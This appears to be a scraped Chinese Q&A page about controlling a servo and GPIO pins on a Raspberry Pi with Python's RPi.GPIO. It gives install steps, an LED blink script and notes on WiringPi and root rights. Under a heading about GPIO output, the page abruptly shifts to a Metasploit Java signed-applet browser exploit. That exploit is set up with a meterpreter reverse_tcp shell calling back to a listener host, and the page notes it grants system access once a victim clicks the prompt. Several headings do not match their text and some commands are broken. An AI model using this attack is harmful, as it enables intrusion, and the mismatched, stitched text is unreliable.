菜鸟请教请问如何用python的rpi.gpio控制舵机

是这样我用树莓派的gpio口，通过python的rpi.gpio 这个模块输出pwm波，频率是50hz，占空比是5%~10%，可是舵机根本不动，只有在刚插上的时候会不规律的动一下，

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怎么用python获取GPIO状态

不同操作系统安装GPIO的命令是不同的，这里以树莓派的官方操作系统Raspbian为例，说明如何安装GPIO库。Raspbian中安装了两个Python版本，分别是2.7.3和3.2.2。Python2.x的安装包会一python为前缀，而Python3.x的安装包回忆python3为前缀。Python2安装GPIO库需要输入命令：1sudoapt-getinstallpython-rpi.gpioPython3安装GPIO库需要输入命令：1sudoapt-getinstallpython

树莓派怎么样用 Python 控制 GPIO 来发送串口指令

python GPIO

1、先安装python-dev，输入以下指令。

sudo

apt-get install python-dev

2、安装RPi.GPIO，依次输入以下指令。

1)下载：$ wget

2)解压缩：$ tar xvzf RPi.GPIO-0.5.3a.tar.gz

3)进入解压之后的目录 ：$ cd RPi.GPIO-0.5.3a

4)启动安装 ：$ sudo python setup.py install

3、例子：

[python] view plain copy

# -*- coding: utf-8 -*-

import RPi.GPIO as GPIO

import time

# BOARD编号方式，基于插座引脚编号

GPIO.setmode(GPIO.BOARD)

# 输出模式

GPIO.setup(11, GPIO.OUT)

while True:

GPIO.output(11, GPIO.HIGH)

time.sleep(1)

GPIO.output(11, GPIO.LOW)

time.sleep(1)

4、执行：

sudo python led.py

5、说明：

1)GPIO.setmode(GPIO.BOARD)，采用插座引脚编号方式。

2)由于采用插座引脚编号方式，此处的11脚相当于BCM2835寄存器编号方式的引脚11。

python GPIO

1、说明：

WiringPi是应用于树莓派平台的GPIO控制库函数，WiringPi遵守GUN Lv3。wiringPi使用C或者C++开发并且可以被其他语言包转，例如python、ruby或者PHP等。

wiringPi包括一套gpio控制命令，使用gpio命令可以控制树莓派GPIO管脚。用户可以利用gpio命令通过shell脚本控制或查询

GPIO管脚。wiringPi是可以扩展的，可以利用wiringPi的内部模块扩展模拟量输入芯片，可以使用

MCP23x17/MCP23x08（I2C

或者SPI）扩展GPIO接口。另外可通过树莓派上的串口和Atmega（例如arduino等）扩展更多的GPIO功能。另外，用户可以自己编写扩展模

块并把自定义的扩展模块集成到wiringPi中。WiringPi支持模拟量的读取和设置功能，不过在树莓派上并没有模拟量设备。但是使用

WiringPi中的软件模块却可以轻松地应用AD或DA芯片。

Python调用gpio口需要su权限

需要以以root权限运行python程序。

程序上使用的Python操作端口（需要安装PythonGPIO库），写了个脚本，然后再通过php调用这个脚本实现开门。

所说方法用C程序更换用户UID?编译好执行（失败，还是单独执行可以调用不可以）变通，让这个脚本主动轮询某个文件内值，php控制这个文件（至少能用起来，但总感觉这个方法不怎么好）修改/etc/sudoers文件，赋予特定用户特定权限。

如何在python中将某一gpio引脚设为输出

安装 Sun Java JDK 和 rjb gem, 并且设置环境变量

—–code—–

root@bt: apt-get install sun-java6-jdk

root@bt: gem install rjb

变量设置

root@bt: echo “JAVA_HOME=/usr/lib/jvm/java-6-sun” /etc/bash.bashrc

root@bt: echo “export JAVA_HOME” /etc/bash.bashrc

root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun

root@bt: export JAVA_HOME

—end code——

—start metasploit—–

use exploit/multi/browser/java_signed_applet

set TARGET 1 //请注意你的目标

set SRVHOST 10.2.4.200

set SRVPORT 80

set URIPATH pentura

set PAYLOAD /meterpreter/reverse_tcp

set LHOST 10.2.4.200

set LPORT 4444

—end metasploit——–

———————————————————————-

如果当有一台机子访问了你的80端口

METASPLOIT控制端里将会显示详细的信息

———————————————————————

访问你80端口的机子浏览器会跳出java窗口，如果目标点击确定，你就能取得系统权限

你还可以修改java小程序的，以便实现更加真是的ssl.

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